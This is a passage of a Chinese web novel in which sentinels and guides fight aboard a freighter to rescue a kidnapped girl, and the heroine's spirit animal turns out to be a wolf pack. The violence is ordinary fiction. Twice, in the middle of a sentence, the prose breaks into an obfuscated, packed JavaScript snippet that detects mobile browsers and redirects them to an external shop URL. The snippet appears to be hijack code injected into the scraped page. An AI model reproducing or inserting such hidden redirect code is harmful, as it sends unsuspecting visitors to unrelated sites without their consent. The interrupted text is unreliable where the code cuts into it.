一般来说,哨兵在现实中的状态也会同时反应在精神图景之中,当哨兵受到巨大冲击时,精神图景也会变得危险,连哨兵本人都无法控制。可A级向导太自大了,也从不觉得莱蒂斯是个哨兵,根本没有采取任何防护,于是外界的声音不加阻拦地涌进莱蒂斯大脑时,A级向导只能眼睁睁地看着眼前的星球开始运转,发出缓慢又永恒的回响。 随即,远处那些闪烁的星星也开始应和。振动的电磁波穿过宇宙降临于此,精神动物是铁线虫的男人听见它们,就像一只真正的虫子忽然意识到了自己的微不足道。这个瞬间,他感到不寒而栗,感到渺小与茫然,进而感到混乱与疯狂。 在夜晚的旷野上,他惊恐地尖叫起来。 但星辰不在乎他,它们只是如常地运行。恒星在闪耀,行星在旋转,发出的声音古老而伟大,不可阻挡地碾压而来。乏善可陈的一秒之后,莱蒂斯失控的精神图景就仅凭声音把A级向导的精神撵碎了,留下一具空壳,还在不断发出低吟。 少女护卫并不知道这件事。事实上,她压根没意识到自己有精神图景存在。她走着,走着,穿过哨兵们的惨叫,穿过整个世界的噪音,只想找到自己的目标。过载的信息让她疲惫不堪,她的精神和体力都在透支,却没有停下。 最终,她在一个开着门的集装箱附近停下脚步。 “啊……你在这里。”莱蒂斯努力找回自己对声音的控制权,对那朝自己走来的,有着金色眼睛的男人轻声说,“尼尔森,我来了。你说得对,精神屏障是可以解除的。我解放了听力……可是他们……好吵啊。” 尼尔森果断掐灭了矮子哨兵的意识。他由着这人倒在地上,就像扔掉一个不好用的工具,然后快步朝莱蒂斯走去。 他的身体其实是想跑起来的,但他之前确实被打得有点惨,所以只能放慢脚步。 莱蒂斯看起来也好不到哪里去。她脸色惨白,额角全是冷汗,眼白里的血丝仿佛真菌在生长。鲜血浸透了她腿上的纱布,白色礼裙上,氧化的黑色血液和刚溅上的血点让这件衣服像是腐烂了一般破烂。 他能感觉到她传递过来的情感。小姑娘其实是有些害怕的,庞杂的信息流让她痛苦不堪,她不知道怎么让它停止。但她强撑着,甚至还有余力散发出一点终于和尼尔森见面的喜悦。 她没有在大量繁杂琐碎的信息中迷失。 她为什么没有迷失呢?尼尔森想,不自觉地皱起眉来。莱蒂斯现在承受的信息量,常人根本难以接受。它对精神造成的压力几乎是毁灭性的,以至于它根本就不应该被清醒地感知到。 狂躁症,神游症,这些哨兵们避之不及的症状,本质上其实算是大脑的一种自我防护机制。当清醒地承受信息流会让共感者过于痛苦时,崩溃和疯狂反而是一种解脱。失去理智后,他们对所受的苦痛的认知也不再那么强烈,当最后成为只剩下本能的怪物时,他们是没有意识的。 可莱蒂斯还清醒着,她一直清醒着。 她到底清晰地承担了这一切多久,最后却只将这一切归结为了一句好吵? 侦探跌跌撞撞走过 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尼尔森抱着莱蒂斯,沉入一片冰冷,寂静的深海。 此地的黑暗无边无际,亦无声无光。从未被阳光触及过的洋流摇晃着他们的身体,像是母亲摇晃着孩子的摇篮。海水冰冷的温度抚平了半自动机械臂给莱蒂斯带去的痛觉,也将喧嚣的世界轻易地隔绝。 这里是这颗星球最古老的深渊,生命最原始的起源。人类世界的声音传不到深海,尼尔森的图景是天然的白噪音。 “唔……”莱蒂斯小声哼出一声鼻音,心跳逐渐平缓下来。她眨了眨眼睛,发现自己已经停止了无意识的呓语。 虽然这里确实有点冷,但有另一个人的体温在,似乎也并不让人难受。 她在尼尔森的怀里抬起头,好奇地打量起四周。在这片绝对的冷寂之中,她看见一道长长的,漂亮的链条盘旋在他们四周,像是银河系的星河围绕着中心的黑洞,一明一暗地呼吸。 尼尔森似乎注意到了她的目光,微笑了起来。他伸手在海水中一晃,将一段金色线条缠绕到指尖,递到了莱蒂斯眼前。 这下,莱蒂斯终于看清楚了。这半透明的,丝线一样的存在,原来是一只水母。它由数以万计甚至上百万计个克隆产生的个员组成,串联在起形成一个线状的庞大群落,就这样形成了一个在深海中无限延展的超个体,像一串星星一样发着光。 “这是我的精神动物,离翼水母,大概是世界上已知最长的动物了。”尼尔森笑着看着她,“你看,我跟你说过,她很漂亮的。” 小姑娘的眼睛亮晶晶的,显然是从来没有见过这样的存在。尼尔森非常适当地没提起他的精神动物其实是食肉动物,这一百多米长的身躯绝大部分都带有长长的,有着致命毒液的触须。 “这儿很安静,休息一下吧,莱蒂斯。”他有点想摸摸她的头,于是离翼水母轻飘飘地落在少女头顶,“现实里的追兵好像都被你干掉了,不用着急嘛。我刚帮你重建了听力屏障,你再加固一下吧。” “……啊!” 听了这话,莱蒂斯忽然神色一凛,双手提起尼尔森的衣领。 “现实……对,我们得快点行动了。”莱蒂斯盯着一脸诧异的尼尔森,一本正经道,“我们还要去救卢娜小姐。而且海克,他也来这里了!” “他们的声音……我刚刚都听见了!” “不不,我说真的,你得先加固屏障之后再继续。”这一次,尼尔森态度强硬了一点,水母也跟着摇了摇身体,“如果他们在这里,那个S级哨兵估计也在,你总不能带着破损的屏障去和他打吧?” “而且——你有没有一种奇怪的感觉?我是说,从刚刚看见你开始,就好像有什么毛茸茸的东西在蹭我?” 40. 第三十九章 海克.雷德很快处理好了莱蒂斯在他手腕上留下的伤口。 为了提高杀手们的生存能力,组织专门训练过他们的急救技能。海克阻断痛觉,然后行云流水地取出子弹,消毒止血,缝合伤口,甚至连抖都没有抖一下。 其实海克对疼痛早已麻木,根本不需要把精神力浪费在止痛上。但现在白鸟的灵魂也在他的身体里,和他共享着同样的知觉,他担心白鸟受不了无麻醉缝合的痛,头一次把自己的痛觉阻断了。 他离开了据点,身上只有一把匕首,一把左轮和两只弹匣。 圣卢赛特热闹非凡,海克像往常一样融入街道上被霓虹灯染色的人群。他计划抢一辆车接近目的地,可向来只专注于目标的感官却捕捉到了人们的笑语。情侣,亲人,朋友,幸福而平凡的路人从他身边走过,他忽然感到了一阵陌生的心悸。 “海克?”白鸟察觉到了他的情绪波动,靠近他身边安慰道,“别难过,这不是你的错。卢娜一定能平安回来的。” 向导的声音温柔而坚定:“你不是一个人在救她,我会一直陪你一起。” “……不,不是的。”海克摇摇头,垂下眼眸,“卢娜本来不应该被绑走,而你,你本来也不应该和我一起去那种危险的地方……” 他放弃刺杀伦滋,就是因为怕自己的身份在赶来的哨兵们面前暴露,牵扯到卢娜。可等他逃离现场,回到据点时,手机却突然收到了一则信息。 那是一段音频和一个不断变化的坐标。在音频里,海克听见了水声和微弱的呼吸。 他感觉浑身的血液都因那呼吸声凝固了。即使听力受损,这位强大的哨兵能听出,那是他妹妹的呼吸声。 他们还是找到她了。 海克有些眩晕,又似乎无比清醒。已经镌刻进本能的杀意像是毒雾一样溢出,他的黑瞳像是枯井一样空洞。 他要去救她。在妹妹平安之前,他会作为一件武器,不惜一切代价杀掉所有挡在他面前的人。 他知道这条信息是个陷阱,但他不怕危险,甚至不怕死亡,作为组织训练出的杀手,他对生死早就没了概念。 然而一抹苍白的身影站在他身边,海克恍然惊醒。 白鸟。 现在他和白鸟共生。如果他真的像过去执行任务时那样不顾自己的性命,白鸟也会和他一样受伤,一样疼痛,甚至一样死去。 海克.雷德的身体和生命,都不止是他一个人的了。 这个事实早在不知不觉间影响了他。身为杀手,海克.雷德从来活得像个机器,清欲寡欢、一无所求。酒神节的工资足以让他过上放纵不羁的生活,但他只是住在最简陋的公寓。 而他之所以会去高级的餐厅,想办法预定靠窗的座位,认真地挑选菜单上的菜品,或是去奎茵河畔的集市买一份自己从没见过的可丽饼,在嘴角沾上奶油,都是因为白鸟。 这个从没真正活过的杀手对衣食都不感兴趣,组织也从没教他如何辨别吃穿用度的好坏。他去搜索圣卢塞特受欢迎的地方,去研究预约,交通,着装要求,都只是在笨拙地希望通过和共享的知觉,让白鸟过上好一些的生活。 “你可真是……我不喜欢你这样说。”白鸟的声音将他拉回现实,海克眨了眨眼,他第一次听见白鸟温怒又无奈的语气。 “我知道你和我不一样,你很强,一个人就能做到很多不可思议的事情。也许你并不需要我在你身边,但别说得好像卢娜的事情和我没有关系一样。” 白鸟抱怨着,却牵住了海克的手,轻轻握住,认真地看向杀手的眼睛。 “我和你一样想救卢娜回来。海克,你救了我,我不可能让你一个人冒险。你的精神图景才修复不久,还不稳定,我不能放着你不管。哪怕我并没有和你在同一个身体里,哪怕你觉得你并不需要我,我也会跟你一起的。” “……”白鸟蓝色的眼睛让海克突然失语。半晌,他闭上眼睛,回握住了白鸟的手。 在喧闹的人群中,他自言自语般地轻声回应道:“我当然,需要你,白鸟。我怎么可能会,不需要你。” 海克轻车熟路地从一个飙车党手里抢了辆摩托,向奎茵河下游开去。他曾经在圣卢塞特执行过任务,熟悉这里的情报。通过手机上坐标变化的规律,他看出卢娜现在多半位于一艘移动的船舶上。 摩托的速度很快追上了货轮。海克没有靠近河岸,而是在一定距离外的公路上行驶。隔着道路和建筑,他的视力也足以眺望到货轮上的情况,比如布局,比如结构,比如那些在甲板上巡逻的人。 路过一座小型私人港口时,海克停止了追逐。他将摩托扔在路边,打晕保安,启动了港口的快艇,向货轮驶去。 快艇的噪音很快吸引了守卫们的注意。他们举枪在甲板上严阵以待。快艇进入射程的一瞬间,子弹便倾泻而下,如同火雨。他们根本不需要瞄准海克本人,因为火星很快就引爆了被打穿的油箱,一阵爆炸后,快艇化作在水面熊熊燃烧的火焰。 很多人都聚集在快艇一侧。振动和巨响中,没人注意到货轮的另一侧,有一个守卫倒在了地上。他的双眼突出,仿佛被活活挤压而死。 海克.雷德就是从这个倒霉蛋负责的片区登上甲板的。快艇和爆炸都是掩护的手段,他早在快艇进入射程前就跳船,潜入了奎茵河黑色的波涛。在河水中,海克入侵了这个落单守卫的精神图景,让森蚺远程将他杀死,再借助快艇上发现的绳子登上了货轮。 仿佛一个幽灵,他身披着夜色,无声地出现在尸体旁。这只是第一步,他知道船舱里还潜伏着更多酒神节的武装,但他也知道,他的妹妹正被囚禁在这艘船的某个地方。 他身上只有一把左轮。 在登船前,白鸟也问过海克,是否需要储备一些武器,但海克只是轻描淡写地摇了摇头。 “杀手有杀手的规则。塔给了我普通人的身份,因此杀手的业界也把我除名。我需要保证的是,不再和杀手的世界有任何交集。如果我去任何一个地下武器商那里,买了武器,那么业界会默认,我已经回归。” 海克身上的左轮和匕首还是杀酒神节的向导贩子时抢的,刺杀伦滋的炸药也是自制。他在想尽办法避开了和杀手业界的接触。 “本来是无所谓的。要我回去,也可以。”海克一边拉开左轮的保险,一边认真地说,“但你和我在一起,所以,我不能带着你重新回到那样的生活。我想,等一切结束了,我们可以开始新的。” “我可以去做服务员,或者保安……虽然我做不好这些,但是有你在的话,我应该能进步的。” “谁说你做不好的。” 白鸟有点哭笑不得。海克一直很自卑,可这世界上有几个人能在孤身闯入敌人陷阱前这么冷静又笃定地聊起未来呢?白鸟凑过去,看他检查弹匣,问他:“你觉得面包师怎么样?” 海克似乎宕机了一下,回他:“我……没想过。” “我以前学过。如果你去烤面包,我可以指导你。”白鸟微笑起来。他想象海克穿着白色厨师服,脸上和手上都是面粉的样子。面包房里有温暖的火炉,烘焙的香气,来往的客人,比起血和死亡要更适合海克得多。 “可是,”海克看向他,很是担忧,“我记得你说过你炸过烤箱。” “啊,不,那是刚学的时候。我早就不会再犯这种错了——”白鸟的耳尖有点红。好吧,在酒神节的时候,他确实因为海克愿意记住他的事情而高兴,但他没想到海克什么都记得这么清楚啊。 他赶紧把话题扯回正事上:“但是海克,如果你只有两样武器,到底要怎么和酒神节的人战斗呢?他们有很多枪支弹药,还有半自动机械臂……这样对你来说太危险了。” “……不危险。”海克认真地回答,白鸟不知为何从他毫无波澜的语气和恐怖的发言里听出了点安抚的意味,“他们的武器很多,是好事。” “只要杀了他们。他们的武器,就是我的武器。” 甲板上,海克取走了尸体旁的步枪和对讲机,往船舱走去。 最终,当尼尔森操纵矮子哨兵的感官探查货轮时,货轮的船尾部分已经完全陷入死寂。 因为海克已经悄无声息地将这片区域的所有看守都干掉了。 这黑发黑眼的死神走在坟墓般阴冷的钢铁空间中,寻找着自己的血亲。他无情地踏过尸体,往更危险的地方走去,就像过去执行任务时那样。 然而这一次,海克.雷德的心中却不再一片麻木。他感到担忧,感到忐忑,还感到杀手的直觉带来的危机感。他知道现在自己杀死的这些哨兵都是小卒,酒神节中,还有比着强大得多的存在。而他受过伤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356930|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状态早已不比以前,无论是感官还是共感力都不如原来强大。 但与此同时,他又感觉到自己充满了过去从没有过的力量,那是一种盲目地,无可抑制地,却十分温暖的念头—— 他一定要活下去,带着卢娜,带着白鸟一起。 “啊啊啊,里奇,站住啦,不准现在就出手!” 船舱中下部分的一个集装箱里,米拉坐在特地搬来的粉红色懒人沙发里嚷嚷。里奇没理她,调试着半自动机械臂。 “人家是认真的,人家可以把门藏起来,你出不去的。”米拉哼哼里两声,让假眼蝶从里奇眼前飞过,集装箱上的门忽然就消失了。 “……别闹了。”里奇连个眼神都没分给她,强大的五感还在不断搜集、分析着整艘船上的信息,“船上情况不对,我不能再陪你乱来了。我们本来该在海克登船的时候就杀了他,找到他并不难,根本不需要你那些复杂的计划。现在那个叫莱蒂斯的护卫又把船头和下层平台搅得不得安宁——我早说过,不能小看她。” “需要,怎么不需要!如果直接杀了海克,那人家要怎么品尝他的情感啊。”米拉露出了可怜兮兮的表情,“里奇,人家可是残疾人。一点刺激都没有的世界太无聊啦,你就不能对我这个感情缺失的小向导抱有一点点同情心吗?” 少女装得满眼的委屈,但里奇不用看也知道,她的眼底其实什么也没有。 这就是尼尔森在医院感知不到米拉情感的原因。 米拉.爱丽丝,这个跳脱少女的情感,看似无时无刻不在剧烈波动,其实根本空无一物。 作为一个能够共感他人情感的向导,米拉自己却没办法产生任何情感。她能感知到世人的快乐,幸福,悲伤,苦痛,就好像能看见一幅幅色彩各异的,美丽的图画。 可她自己的世界却永远只有无聊的灰白。 太无聊啦,这样有什么意思呢?于是米拉想,还好我是一个向导,只要我一直去感知他人的情感,说不定有一天,我的世界也会有那样漂亮的颜色。 快乐是彩虹一样的存在,像糖豆一样缤纷,幸福是橙色的火光,温暖而柔和,但它们太难得一见,又太平淡了!米拉总结经验,发现人类最激烈的情感反而是他们避之不及的绝望、仇恨和痛苦,它们像是风暴一样摧毁一切,把一个人所有的情感都搅和成混沌的深蓝。 所以果然还是绝望和痛苦最棒啦!米拉得出结论。她才不管情感的好坏,她只在乎刺激。 你不能指望一个没有感情的人拥有道德。 为了这种刺激,她制定了一个从杀人的角度看并没什么效率的计划,只为了让海克最大限度地陷入绝望。她可太想再次体会到海克在酒神节发现白鸟已死时的感情了,那强烈的负面情感几乎让她的身体都痛了起来,而她非常自信,自己能让海克再经历一次那种万劫不复的崩溃。 可惜她的搭档只想高效,认真地杀掉海克。这位S级哨兵没有一开始就动手,就已经是他最大的妥协了。 “你在浪费时间和资源。”里奇无情地点评,“船尾的守卫都被海克杀了,船头被莱蒂斯打败的还活着,但基本不能行动。我看不出你让这群垃圾去拦截海克和莱蒂斯的意义。拖得越久,越容易出纰漏,对酒神节和我们就越不利。” “我们帮了酒神节忙,要点报酬也是理所应当的吧?”米拉笑起来,撑住自己的下巴,“这些哨兵守卫们伤的伤,死的死,还个个都很害怕海克和莱蒂斯,所以他们散发出的情感也很有趣呀,不是吗?” “他们只是娱乐而已,反正人家也不指望他们真的能杀掉海克。嗯……莱蒂斯是个意外,人家其实对她也挺好奇的。里奇你晚点再出手好不好,反正他们也找不到卢娜,不可能离开这艘船,对你来说根本就是瓮中之鳖——哎呀?” “哒哒哒——” 枪声打断了米拉的声音,里奇手里的机械臂转动起来,子弹击碎了集装箱壁。 “你真的以为你的计划很聪明吗?”里奇冷声道,“我听得见,莱蒂斯在往舱底水系统走了——她已经找到卢娜在哪了。” “哎?哎哎?不可能吧?人家已经很认真地把卢娜藏起来了呀!”米拉从懒人沙发上翻起来,看着自顾自往外走去的里奇大喊,“只是巧合吧?人家用了全力的认知偏差,明明连里奇你都找不着的吧!” 41. 第四十章 “跟着这手机的定位来找就行。”尼尔森坐在地上,对手机说,“记得多带点人。我们现在这破船上有一群麻烦的炮灰,一个能误导认知的向导,还有个S级哨兵。人来少了,我们连船都下不了。” “尼尔森.莱顿,我什么时候说过要接你们下船?”对面的男人冷淡地称呼他全名,好像正在和自己死乞白赖的混子亲戚说话,“你引来的人砸了Madre(母亲)的店,现在又要我派我的人冒险来救你。告诉我,为什么我不干脆直接让你死船上?” 我哪知道伦滋手下的人连黑手党的白名单都没听说过。尼尔森心里吐槽,嘴上滑跪道歉:“对不起,我错了,万分抱歉,果咩那塞。我愿意回来之后跟盖比太太赔罪,都按你们道上规矩来,怎么都行。但我刚挨了打,莱蒂斯右腿又断了,你要是不派人来接应的话,我可真就没机会回来了——” “没关系,别听他瞎说。我根本就没生你们的气。”盖比太太慈祥到声音打断了对话,“砸掉店的是那个四男人,可不是你们。我虽然老了,但这种事还是分得清的。” 她的意大利餐厅正在以极高的效率连夜重新装修。在黑手党身居要职的儿子因为放心不下她而来这边陪伴,却正好被她听见了电话里的对话。 老太太转向自己的儿子:“黎塔诺,帮他们个忙吧,他们昨天还保护了我呢。听我说,尼尔森是个不错的小伙子,经常来店里吃饭,还和我聊天。莱蒂斯也是个好姑娘,她和你小时候特别像,都喜欢穿那种黑色的皮衣……” “Madre,拜托,我已经很多年没穿过那种衣服了。”西装革履,文质彬彬的黑手党二把手黎塔诺赶紧自证清白。他用眼神向母亲确认,然后在母亲慈爱的目光里无奈地叹了口气。 “好吧,既然是Madre的意思,那好吧。” “我会派人来。”黎塔诺转向电话,又恢复冷漠的语气,“但听好了,尼尔森。我不可能让我的人为了你去那艘危险的船上送命——所以,你们起码要自己离开船回到岸边。我会尽快派人去接应。在此之前,只能靠你们自己。” 他说完,直接挂了电话。 尼尔森把手机揣进风衣里。 这手机不是他的,而是从那个矮子哨兵身上顺的。他为了保证不泄露情报,在看完首席发来的海克的档案之后,就直接把智能机连电话卡带储存卡全掰了。他有把文件上传云端的习惯,为的就是这种时候。 果不其然,他自己手机在他昏迷的时候就已经被搜走了。 “啊啊,真是麻烦……好消息,我们有人接了。坏消息,我们得自己下船。”他向后一倒,靠在身后走廊的墙壁上,和莱蒂斯并排而坐,“莱蒂斯,你好些了吗?” “唔……嗯,好多了。” 平稳而专注的情绪辐射而来,那是莱蒂斯在对听力屏障做最后的加固。她坚持不需要尼尔森继续辅助稳定屏障,于是尼尔森只能在旁边看着。 无聊的侦探下低头,看了眼自己的手,往旁边摸了一把,果不其然又摸到了毛茸茸的一片。 他百分百确定这就是莱蒂斯的精神动物,但莱蒂斯似乎对此一无所知。 “什么毛茸茸?”小姑娘是这么问他的,还茫然地眨了下眼睛。但根据尼尔森感觉到的情况,毛茸茸在蹭他的同时,也一样在她身边簇拥着。这玩意的体型可不小。 尼尔森提醒道:“就在我们旁边,你没感觉到吗?很有可能就是你的精神动物哦?” “可我……”莱蒂斯环顾了一下四周。她有些好奇,还有些期待,但最后只是摇摇头,认真道:“抱歉,但我想毛茸茸的事情在目前应该不重要,我得抓紧时间修复屏障了。” 因为腿伤,莱蒂斯坐在了地上,然后闭上眼睛,开始加固听力屏障。 尼尔森挑了挑眉,她说“毛茸茸”这个词的时候语气还挺可爱的。 听了这话,一种委委屈屈的情感从毛茸茸那边传了过来。 这什么情况?尼尔森想。回想之前的情况,他发现除了自己,没人真的触摸到了莱蒂斯的精神动物。之前,他的确在被莱蒂斯打倒的哨兵们那里感觉到了恐惧,但随之而来的还有疑惑和慌张不安——他们根本没接触到毛茸茸的存在。 嗯……这可能和莱蒂斯没有完全解放的五感有关。而自己之所以能触摸到它,也许是因为自己作为向导辅助莱蒂斯时,和她的感官之间建立了联系吧。 尼尔森边rua边思考。随着莱蒂斯的听力屏障加强,毛茸茸的触感也逐渐变得不那么真实了。尼尔森顺手又多rua了两把,手掌上传来的感觉有些粗糙,厚厚的绒毛淹没了他的指缝。他顺着皮毛的反方向摸上去,捏到了一只三角状的耳朵。 正在修复屏障的莱蒂斯忽然睁开眼睛,抬手对着他的头顶劈了一下。 “别碰我耳朵。”小姑娘不满地说,又闭上眼,抓紧时间继续加固。 “痛……痛痛痛!我哪碰你了——”尼尔森猝不及防,举起双手以示清白,随即反应过来,“等下,你和它在共感?喂,莱蒂斯,你刚刚真的感觉到我在碰你耳朵?果然,我就说嘛,这是你的精神动物。你快看……哎哟!” 莱蒂斯又给了他一下。 “安静一点,尼尔森。我马上就要修复完了。”莱蒂斯这次眼睛都没睁。她可没忘记自己还身处敌人腹地,一心惦记着要去找卢娜和海克,把和自己有关的事情通通扔到了一边。 “唉……我说真的,这可是你的精神动物啊。怎么会有小孩在精神动物觉醒的时候一点都不兴奋的呢?”激动起来的尼尔森又瘫了回去。 他一个受伤的可怜人也做不了什么,于是开始自言自语:“致密的皮毛层,垂直竖立的耳朵,较大的体型……不知道是狗还是狼,不会是很大只的阿拉斯加雪橇犬吧——等等,我错了,别咬我肩膀。好吧,果然是狼。” 尼尔森碎碎念着,抬手摸了摸肩上的重量,感觉到大型犬科动物温热的吻部在掌心蹭了蹭。 然后,他突然意识到了一个问题。 先前自己摸到的那只狼,明明是在身前的。当然,现在它也依然在。 不止有一只狼。 尼尔森金色的眼睛猛地睁大了。他抬起头来。 当侦探意识到这一点后,他感觉到了视线。 来自他手边的,来自他身后的,来自前方的走廊,来自船舱昏暗的角落,来自那倒在不远处的酒神节哨兵身旁,甚至来自高处架空挑高的铁架—— 那是狼的眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356931|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽冥的,危险的凶光在巨大的钢铁货轮的腹腔中亮起,如同剖开黑暗的翡翠的碎片,如同升起的繁复星辰。 所有的视线都聚集而来,落在莱蒂斯和尼尔森身上。但这注视毫无恶意,以至于尼尔森对战斗一窍不通的大脑甚至没有意识到它们的存在。 在他们身边的狼动了动耳朵,依偎在受伤的莱蒂斯和尼尔森身边,将暖乎乎的体温传递给他们负伤发冷的身体。它身长接近两米,足以一下子护住两个人,于是尼尔森想到一种动物。 地球上最大的犬科动物,北美极寒之地的霸主。当它在苍白的雪地与白桦树林间奔跑之时,那巨大的,灰色或黑色身影,就如同携带着风与雨的雷云。 但它只是沉默地守望着自己的主人。 ——它们,都只是沉默地守望着自己的主人。 尼尔森听见自己的心跳如雷贯耳。 一个人的精神动物明明只有一个的。 但莱蒂斯的毛茸茸们,分明就是由巨大的北美灰狼组成的,庞大的狼群。 “啊……哈哈……”尼尔斯下意识咧开嘴角,低低地笑了两声,兴奋起来的眼神让他看起来有些疯狂。 现在他知道那些哨兵在怕什么了。难怪那只狼獾动弹不得——单是一只北美灰狼就足以和美洲狮缠斗,而当它们聚集在一起,五只到十只便能够控制和捕食成群行动的北美野牛群。 这种食草动物的平均高度都接近两米了。它能把一辆轿车撞翻,却是北美灰狼围捕的猎物。 莱蒂斯的精神动物究竟是由多少只北美灰狼组成的? 在群狼的视线中,侦探感到冷汗浸透了身体,浑身的伤痛变得模糊,身为人类的本能却在叫嚣着危险。即使狼群没有敌意,人类的DNA也镌刻着在漫长进化岁月中被它们开膛破肚的过去。 尼尔森很强,他见过哨兵与巨大的猛兽相伴,也见过小却带着剧毒的精神动物,但他从来自信能够打败这些家伙,他曾经也确实用认知偏差把他们玩弄于股掌之间。 现在他居然因为狼群的视线而感到恐惧。 它们甚至还不能真的实体化呢。 尼尔森深深地呼吸着,觉得胆战心惊,又莫名兴奋。他有种想放声大笑的冲动,好像目睹了一个前所未有的怪物在眼前诞生。 可转过头来,看着莱蒂斯身上的血痕和伤口,她稚气未脱的脸和强撑出的冷静,尼尔森混乱的内心又突然平静下来。 她头发好乱。他不适时宜地想。 晦暗的船舱里,尼尔森露出了一个无奈的笑。 唉,哪有什么怪物啊……就是一个又倔又单纯的小姑娘而已。 他再次轻轻地抚摸起只有自己能碰到的北美灰狼的脊背。犬科动物喜欢这样顺毛,莱蒂斯并没有被打扰到,只是狼的大尾巴一甩一甩的打在他身上,有点疼。 很快,随着莱蒂斯修复完屏障,狼群也隐去了身影。 “哎呀,这可真是……有点意思。” 尼尔森垂下金色的眼眸,看着自己的手心,也不知道自己在感叹什么。精神动物的事情,还有他们之间精神共鸣的事情,就都等到逃出去再说吧。 他先一步站起,对重新睁开眼睛的莱蒂斯伸出手:“走吧?” 42. 第四十一章 尼尔森抱着莱蒂斯,往船底深入。 穿着白色小礼裙的莱蒂斯坐在他臂弯,一手绕在他脖颈。她体重本来挺轻的,但加上半自动机械臂,尼尔森瞬间就带上了痛苦面具。 这玩意现在正漏着电,咯啦啦直响,发出蹬了十年的自行车一样的声音,一幅过载报废的样子,说不定还没他们从矮子哨兵身上顺来的左轮好使。尼尔森实在不知道留着它干啥。它真的很重,而他体力真的很菜,但莱蒂斯说再不济当锤子抡也够了,硬是要留着,他也没办法。 天知道刚刚莱蒂斯是怎么仅凭听力驱动这个需要五感才能控制的机械的,但尼尔森有一个很恐怖的猜想——莱蒂斯完全解放的听力就已经远超普通哨兵的五感,甚至把机械臂给整超载了。 货轮空荡荡的走廊里回荡着自己的脚步声,尼尔森有种不太好的预感。他们走的这条路通往舱底水系统,确实是条比较冷门的路线,但一路上一个哨兵也没遇到,实在是运气好得让人忍不住起疑。 他能感觉到莱蒂斯也处于高度紧张的状态,毕竟他们都不觉得酒神节的人会在莱蒂斯杀爆一群守卫后还无动于衷。 也许从船尾入侵的海克.雷德吸引走了一部分火力,但莱蒂斯和尼尔森此时的状态惨不忍睹,而且在莱蒂斯暴走的听力恢复正常之后,她的狼群也隐没了身影,现在老弱病残四项他俩喜提弱病残三项,没人趁机偷袭实在是没有道理。 显然尼尔森是病弱的那个,而莱蒂斯残在右腿几乎走不了路。她本来想硬撑,结果在尼尔森拉她起来的时候还是没能站稳,尼尔森赶紧把人捞住,不得不负起靠谱成年人的责任当坐骑。 “要我帮你阻断痛觉吗?”他看向莱蒂斯无力下垂的右腿,“虽然你应该没经过这方面的训练,但我可以辅助你调节触觉屏障,应该能成功。” “唔……不用了。虽然很抱歉让你负伤了还抱着我,但为了接下来的战斗,我只能这样保留体力了……”莱蒂斯小声回答。 倒不是害羞,这个好孩子是真的有点内疚。 尼尔森问她:“不疼吗?” “疼。”莱蒂斯认真地点点头,“但是休伯特大叔说过,痛觉是人类生存的警钟,失去痛觉反而会失去对危险的感知力。我们现在的处境并不安全,一个受过训练的共感者,是不会在这样的情况下屏蔽痛觉的。” “能冒昧地问一下你在乡下种地的叔是在什么情况下告诉你这个道理的吗?” “我在圣所揍过一个挑衅我的哨兵同学,后来圣诞假回家时,他的爸爸带着他来我们的农场报复。他爸爸很高大,也是一个哨兵。” “然后?” “然后休伯特大叔把他爸也按在地上打了一顿,然后告诉我这个人最大的破绽是屏蔽了受击部位的痛觉。这是很有用的一课,休伯特大叔说没想到有机会通过实战教会我这个道理。后来我们把他俩送出农场前还送了他们一打鸡蛋。” “……哇。”尼尔森干巴巴地说,“你叔可真是慷慨。” “嗯。”莱蒂斯有点小骄傲,“那是我们农场最新鲜的鸡蛋。” “我觉得这不是鸡蛋的问题……算了。”尼尔森嘴角抽了抽,为了不继续这个让他不安的话题,难得主动提起正事,“对了,你还是听不到卢娜的动静吗?” “……是。”莱蒂斯回答,刚刚放松了些的心情又紧绷起来。听力屏障修复后,她就也没再听见卢娜的呼吸声。明明在尼尔森的辅助下,她已经开始能调控听力强度,但当她再次试图倾听舱底水系统的声音时,却再也找不到卢娜了。 少女的声音冷了下去,凌厉的杀气一闪而过:“是那个向导。” “是啊,她肯定也在。”尼尔森光是想着就觉得头疼。那女的说自己擅长把东西藏起来可真是没吹牛。根据现状推测,她在隐藏方面的认知误导,似乎强到需要莱蒂斯在听力完全解放的情况下才能识破。 “不过放心吧,我的推断应该没错。”尼尔森眯起金色的眼睛,笑着对莱蒂斯道,“你先前听见的除了卢娜的呼吸,还有水声和回音。货轮虽然浮在水上,但船舱内储水的空间屈指可数。再加上你已经确定大致方向是在船底,那答案几乎就确定了——” “卢娜.雷德所在的位置,是污水仓。” 污水仓,又叫舱底水仓,是位于船泊底部的大容积污水储存装置。船舶航行过程中,机舱中所产生的污水会通过各污水井汇聚形成舱底水。等污水井液位达到一定高度,舱底泵就会将其中污水输送至容积较大的舱底水舱进行储存。 其实尼尔森对船舶并没有那么了解,感谢现代科技,这些冷知识都是他现在谷O上找的。水声说明卢娜位于储水装置内部,回音说明这个封闭空间容积较大,只要搜索船舶底部系统,就能锁定污水仓了。 “我当时听见了卢娜小姐的呼吸声……但是只有呼吸声,连走动的声音都没有。一般来说,被困在污水仓里,人不可能什么都不做的。”莱蒂斯皱眉,“她应该还处于昏迷状态。” 